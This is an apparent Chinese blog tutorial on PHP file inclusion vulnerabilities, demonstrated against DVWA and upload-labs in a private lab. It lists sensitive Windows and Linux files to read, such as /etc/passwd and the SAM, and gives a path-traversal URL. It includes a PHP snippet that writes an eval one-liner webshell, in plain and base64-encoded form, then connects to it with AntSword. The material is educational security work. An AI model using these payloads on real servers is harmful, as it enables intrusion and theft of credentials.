文件包含漏洞

文件包含漏洞

  • 原理解析
#PHP包含(PHP中提供了四个文件包含的函数)
require 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
include 找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行
include_once 此语句和include()语句类似,如果该文件中的代码已经被包含,则不会再次包含。
require_once 此语句和require()语句类似,如果该文件中的代码已经被包含,则不会再次包含。
  • 本地文件包含

    #index1.php
    <?php
    	include("phpinfo.txt");
    ?>
    
    # phpinfo.txt
    <?php
    	phpinfo();
    ?>
    

    在这里插入图片描述

    #config.txt
    $DBMS = 'MySQL';
    $_DVWA = array();
    $_DVWA[ 'db_server' ]   = '127.0.0.1';
    $_DVWA[ 'db_database' ] = 'dvwa';
    $_DVWA[ 'db_user' ]     = 'root';
    $_DVWA[ 'db_password' ] = 'root';
    $_DVWA[ 'db_port'] = '3306';
    

在这里插入图片描述

由此可知,包含非PHP语法规范源文件时,将会暴露其源文件

  • 远程文件包含
    PHP不仅可以对本地文件进行包含,还可以对远程文件进行包含。如果要使用远程包含功能,需要在php.ini配置文件中修改allow_url_include = On //开启远程文件包含
#index2.php
<?php
	include($_GET['page']);
?>
# http://192.168.254.182/test.txt
<?php
        echo "远程文件包含漏洞";
?>

在这里插入图片描述

  • 常见的攻击方式
#读取敏感文件
1)Windows系统
C:\boot.ini                                 //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置文件
C:\windows\repair\sam                       //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini               //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD  //Msql root
C:\windows\php.ini                          //php配置信息

2)UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf      //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   //虚拟网站设置
/usr/local/app/php5/lib/php.ini             //php相关配置
/etc/httpd/conf/httpd.conf                  //apache配置文件
/etc/my.conf                                //Mysql的配置文件

在这里插入图片描述

  • 本地包含配合文件上传

    #将一句话木马上穿到服务器
    # http://192.168.254.183/upload-labs/upload/test.jpg
    <?php 
    fputs(fopen("shell.php","w"),"<?php eval($_POST[wcs]);?>")
    ?>
    

    在这里插入图片描述
    访问URL:http://192.168.254.183/dvwa/vulnerabilities/fi/?page=…/…/…/upload-labs/upload/test.jpg
    在这里插入图片描述

这个实现的要求还是比较大的,首先php.ini 中allow_url_fopen选项是激活的,然后还要知道上传文件在服务器的路径,最后所访问路径允许fputs生成文件。并且使用上面未编码的方式写入一句话木马存在过滤的情况,所以可以使用下面编码的方式进行过滤,如果不进行编码,文件包含生成的一句话木马会为空。

#原一句话木马
<?php @eval($_POST['wcs']);?>
#Base64编码后
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgZXZhbCgkX1BPU1Rbd2NzXSk7Pz4='));?>
  • 使用蚁剑进行连接

    在这里插入图片描述

  • 编辑连接信息,将路径和密码填入
    在这里插入图片描述

  • 成功进入后台

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值